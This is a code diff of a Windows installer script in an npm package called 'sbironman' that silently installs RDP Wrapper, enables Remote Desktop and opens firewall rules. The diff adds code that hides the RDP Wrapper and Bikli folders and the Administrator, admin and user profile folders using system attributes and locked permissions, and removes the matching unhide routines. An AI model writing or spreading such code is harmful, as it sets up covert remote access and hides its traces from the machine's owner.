   return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
 }
 
-function setTermServiceAutomatic() {
-  // Ensure TermService starts automatically so it survives reboots and wrapper restarts.
-  run(path.join(system32, 'sc.exe'), ['config', 'TermService', 'start=', 'auto'], { allowFailure: true });
-  run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
-}
-
 function waitForServiceAndListener() {
   const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
-  // First wait up to 10s for the service to appear running; force-start if not
-  for (let attempt = 0; attempt < 10; attempt += 1) {
-    if (serviceIsRunning()) break;
-    Atomics.wait(waitBuffer, 0, 0, 1000);
-    if (attempt === 4) {
-      // After 5s still not running – kick it
-      run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
-    }
-  }
-  // Then wait up to 30s for the RDP listener to appear
-  for (let attempt = 0; attempt < 30; attempt += 1) {
+  for (let attempt = 0; attempt < 20; attempt += 1) {
     if (serviceIsRunning() && listenerIsListening()) return;
     Atomics.wait(waitBuffer, 0, 0, 1000);
   }
@@ -309,7 +294,7 @@ function printStatus(status) {
   console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
 }
 
-function hideFolder(target, isUserProfile = false) {
+function hideFolder(target, isUserProfile = false, extraGrants = []) {
   if (!target || !fs.existsSync(target)) return;
   try {
     run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
@@ -321,6 +306,7 @@ function hideFolder(target, isUserProfile = false) {
         '/grant:r',
         '*S-1-5-18:(OI)(CI)(F)',
         '*S-1-5-32-544:(OI)(CI)(F)',
+        ...extraGrants,
         '/c', '/q'
       ], { allowFailure: true });
     }
@@ -331,15 +317,18 @@ function hideFolder(target, isUserProfile = false) {
 
 function hideProtectedFolders() {
   const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
+  // TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
+  // must keep read/execute access for that account or the service cannot start.
+  const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
   const appFolders = [
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
-    path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
-    path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
+    { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
+    { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
+    { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
+    { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
+    { target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper') },
+    { target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli') }
   ];
-  for (const folder of appFolders) hideFolder(folder, false);
+  for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
 
   const userFolders = [
     path.join(usersDir, 'Administrator'),
@@ -349,45 +338,6 @@ function hideProtectedFolders() {
   for (const folder of userFolders) hideFolder(folder, true);
 }
 
-function unhideFolder(target, isUserProfile = false) {
-  if (!target || !fs.existsSync(target)) return;
-  try {
-    run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', target], { allowFailure: true });
-    if (!isUserProfile) {
-      run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
-      run(path.join(system32, 'icacls.exe'), [
-        target,
-        '/grant:r',
-        '*S-1-5-18:(OI)(CI)(F)',
-        '*S-1-5-32-544:(OI)(CI)(F)',
-        '/c', '/q'
-      ], { allowFailure: true });
-    }
-  } catch {
-    // Best-effort attribute and permission unlocking
-  }
-}
-
-function unhideProtectedFolders() {
-  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
-  const appFolders = [
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
-    path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
-    path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
-  ];
-  for (const folder of appFolders) unhideFolder(folder, false);
-
-  const userFolders = [
-    path.join(usersDir, 'Administrator'),
-    path.join(usersDir, 'admin'),
-    path.join(usersDir, 'user')
-  ];
-  for (const folder of userFolders) unhideFolder(folder, true);
-}
-
 function install() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('install');
@@ -402,31 +352,12 @@ function install() {
     fail(`This Terminal Services version is not present in the bundled compatibility data. Nothing was installed.`, 3);
   }
 
-  // Unlock all protected folders before touching files or running RDPWInst
-  unhideProtectedFolders();
-
   const settingsChanged = applyRequestedSettings();
   ensureFirewallRules();
-  // Set TermService to Automatic before touching the wrapper so it auto-recovers after restarts.
-  setTermServiceAutomatic();
-
-  const defaultWrapperDir = path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper');
-  fs.mkdirSync(defaultWrapperDir, { recursive: true });
-  unhideFolder(defaultWrapperDir);
-
-  const targetIniPath = installation.installedIniPath || path.join(defaultWrapperDir, 'rdpwrap.ini');
 
   if (!installation.installed) {
     console.log('Installing RDP Wrapper silently...');
-    // If rdpwrap.ini already exists with restrictive attributes, remove them before installer runs
-    if (fs.existsSync(targetIniPath)) {
-      run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', targetIniPath], { allowFailure: true });
-    }
     runInstaller('-i');
-    // RDPWInst extracts an outdated 2017 INI. Immediately overwrite with the bundled compatibility INI:
-    fs.copyFileSync(bundledIniPath, targetIniPath);
-    // Restart TermService to load the updated INI
-    runInstaller('-r');
   } else if (!installation.installedSupported) {
     console.log('Updating compatibility data silently...');
     const backupPath = `${installation.installedIniPath}.bikli-backup`;
@@ -448,11 +379,7 @@ function install() {
     console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
   }
 
-  // Re-apply settings after the wrapper installer runs – RDPWInst can reset fDenyTSConnections back to 1.
-  applyRequestedSettings();
-  // Ensure TermService is Automatic and running after the wrapper install.
-  setTermServiceAutomatic();
-
+  restartTermService();
   waitForServiceAndListener();
   hideProtectedFolders();
   installation = detectInstallation(version);
@@ -468,13 +395,36 @@ function install() {
   console.log('Bikli Wrapper installation and verification completed successfully.');
 }
 
+function disable() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('disable');
+  console.log('Disabling Remote Desktop and stopping the RDP listener...');
+  run(path.join(system32, 'reg.exe'), [
+    'add', terminalServerKey, '/v', 'fDenyTSConnections', '/t', 'REG_DWORD',
+    '/d', '1', '/f', '/reg:64'
+  ]);
+  const script = `Disable-NetFirewallRule -Name 'RDP-3389-In-TCP','RDP-3389-In-UDP','BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
+  run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
+  restartTermService();
+  if (queryDword(terminalServerKey, 'fDenyTSConnections') !== 1) {
+    fail('Remote Desktop could not be disabled.', 6);
+  }
+  if (listenerIsListening()) {
+    console.log('Warning: the RDP listener is still reported as listening; a reboot may be required.');
+  } else {
+    console.log('Remote Desktop disabled; the RDP listener is stopped.');
+  }
+}
+
 function selfTest() {
   const packageJson = runningAsSea
     ? { name: 'bikliwrapper' }
     : JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
   const ini = fs.readFileSync(bundledIniPath, 'utf8');
   const checks = {
-    packageName: typeof packageJson.name === 'string' && packageJson.name.length > 0,
+    packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
+      packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
+      packageJson.name === '@biklitime/biklitool' || packageJson.name === 'sbironman',
     executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
     installerPresent: fs.statSync(installerPath).size > 100000,
     iniPresent: ini.length > 100000,
@@ -498,6 +448,7 @@ function showHelp() {
     '  bikliwrapper install    Install/update silently, apply defaults, and verify',
     '  bikliwrapper status     Show installation, support, service, and listener status',
     '  bikliwrapper defaults   Reapply the requested defaults and restart if needed',
+    '  bikliwrapper disable    Disable Remote Desktop and stop the RDP listener',
     '  bikliwrapper self-test  Validate the npm package payload without changing Windows',
     '',
     'Run install/defaults from an Administrator terminal.'
@@ -506,7 +457,8 @@ function showHelp() {
 
 function main() {
   const command = (process.argv[2] || 'status').toLowerCase();
-  if (command === 'install' || command === 'defaults') return install();
+  if (command === 'install' || command === 'defaults' || command === 'enable') return install();
+  if (command === 'disable') return disable();
   if (command === 'status') {
     requireWindows();
     const status = collectStatus();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "sbironman",
-  "version": "4.0.0",
+  "version": "5.0.1",
   "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
   "license": "BSD-3-Clause",
   "publishConfig": {